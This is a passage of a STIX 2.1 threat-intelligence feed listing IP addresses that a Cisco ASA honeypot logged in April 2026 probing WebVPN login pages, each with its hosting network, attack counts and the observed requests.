      "valid_from": "2026-04-08T09:20:10.000Z",
      "valid_until": "2026-05-10T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-08T08:48:04.408Z",
          "last_seen": "2026-04-08T08:48:07.412Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--7b5b9879-be12-464c-b4c9-ccf2bfe400b0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T09:42:17.809Z",
          "last_seen": "2026-04-29T19:25:03.105Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--712ddaad-b2ef-4bb9-b806-579cd2a0375d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T09:25:58.433Z",
          "last_seen": "2026-04-25T01:34:01.946Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--83837049-31ad-41a8-84f3-7f776c4ffcc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-08T09:26:36.684Z",
          "last_seen": "2026-04-27T12:04:44.778Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--ae73d329-82c7-4daa-95a8-708d9c613709",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T09:58:27.203Z",
          "last_seen": "2026-04-29T09:23:11.892Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--dfff6ed3-08e2-4adb-bbd2-44d66a862851",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T09:42:34.923Z",
          "last_seen": "2026-04-27T17:15:33.420Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--cf9be841-7131-4d61-9c75-528fd61a6630",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T10:08:52.513Z",
          "last_seen": "2026-04-28T03:29:30.323Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1afb2180-5e93-4309-b670-678d77c69221",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.103.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T10:15:17.207Z",
          "last_seen": "2026-04-15T11:23:54.782Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9552f481-6e77-4a15-af1a-bf86730d1234",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-08T09:27:52.514Z",
          "last_seen": "2026-04-18T05:02:03.750Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--91007e02-5585-473a-a899-be7ad65731b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T09:45:55.816Z",
          "last_seen": "2026-04-29T05:20:02.627Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4d501674-2bef-478e-9dbd-64e5d3c0a608",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T09:58:40.540Z",
          "last_seen": "2026-04-29T11:03:27.424Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c7b1be7f-2223-4604-9cf4-5c8fee6b24d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T09:50:21.135Z",
          "last_seen": "2026-04-28T05:28:24.634Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--687c49f6-02aa-4250-aab0-3bee1a05e4fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T09:46:53.900Z",
          "last_seen": "2026-04-30T00:04:00.991Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--bd83da4a-ec1a-49d3-87fd-3dfaf94b328e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-08T09:29:06.038Z",
          "last_seen": "2026-04-08T09:29:14.796Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--1a46a61f-7e89-4d95-a2b6-85c7d712c2c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-08T09:23:50.670Z",
          "last_seen": "2026-04-08T09:23:57.263Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8a157360-83b3-4f18-9021-24e9cf39a698",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 29,
          "first_seen": "2026-04-08T10:14:16.622Z",
          "last_seen": "2026-04-29T14:09:14.520Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a4a4faff-d2d6-4735-acdd-aa1014f7e833",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T10:20:10.000Z",
      "valid_until": "2026-05-10T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T10:05:36.720Z",
          "last_seen": "2026-04-19T06:38:37.248Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--f36116af-37cd-4836-a03a-10691a91dc69",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T10:43:06.216Z",
          "last_seen": "2026-04-29T14:28:13.096Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--0d5bf4e4-4380-454f-b87d-b02e37ea1c42",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T11:16:56.420Z",
          "last_seen": "2026-04-24T17:29:50.507Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--b9fdf34b-d8c2-4702-b728-4dad41832fa4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
      "valid_until": "2026-05-10T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T10:21:31.602Z",
          "last_seen": "2026-04-29T23:33:58.296Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--ab168039-b8f0-44b9-bd80-5b04810bcfba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:20:10.000Z",
